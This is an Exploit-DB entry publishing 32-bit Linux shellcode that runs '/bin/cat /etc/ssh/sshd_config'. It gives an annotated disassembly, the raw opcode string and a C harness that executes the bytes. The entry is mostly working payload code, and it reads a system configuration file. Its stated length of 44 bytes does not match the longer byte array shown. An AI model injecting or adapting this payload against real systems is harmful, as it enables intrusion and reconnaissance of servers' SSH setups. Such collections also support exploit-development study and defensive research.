Linux/x86 - execve(/bin/cat /etc/ssh/sshd_config) Shellcode 44 Bytes

EDB-ID:

45669

CVE:

N/A


Platform:

Linux_x86

Published:

2018-10-24

/*
# Linux/x86 - execve(/bin/cat /etc/ssh/sshd_config) Shellcode 44 Bytes
# Author: Goutham Madhwaraj
# Date: 2018-10-22
# Tested on: i686 GNU/Linux
# Shellcode Length: 44
# ShoutOut - BarrierSec
# gcc -fno-stack-protector -z execstack loader-bind.c -o
  
Disassembly of section .text: 

08048080 <_start>:
 8048080:	31 c0                	xor    eax,eax
 8048082:	50                   	push   eax
 8048083:	68 2f 63 61 74       	push   0x7461632f
 8048088:	68 2f 62 69 6e       	push   0x6e69622f
 804808d:	89 e3                	mov    ebx,esp
 804808f:	50                   	push   eax
 8048090:	68 6e 66 69 67       	push   0x6769666e
 8048095:	68 64 5f 63 6f       	push   0x6f635f64
 804809a:	68 2f 73 73 68       	push   0x6873732f
 804809f:	68 2f 73 73 68       	push   0x6873732f
 80480a4:	68 2f 65 74 63       	push   0x6374652f
 80480a9:	89 e1                	mov    ecx,esp
 80480ab:	6a 00                	push   0x0
 80480ad:	51                   	push   ecx
 80480ae:	53                   	push   ebx
 80480af:	89 e1                	mov    ecx,esp
 80480b1:	50                   	push   eax
 80480b2:	89 e2                	mov    edx,esp
 80480b4:	b0 0b                	mov    al,0xb
 80480b6:	cd 80                	int    0x80
 
===============POC by Goutham Madhwaraj=========================
*/

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x50\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x6e\x66\x69\x67\x68\x64\x5f\x63\x6f\x68\x2f\x73\x73\x68\x68\x2f\x73\x73\x68\x68\x2f\x65\x74\x63\x89\xe1\x6a\x00\x51\x53\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}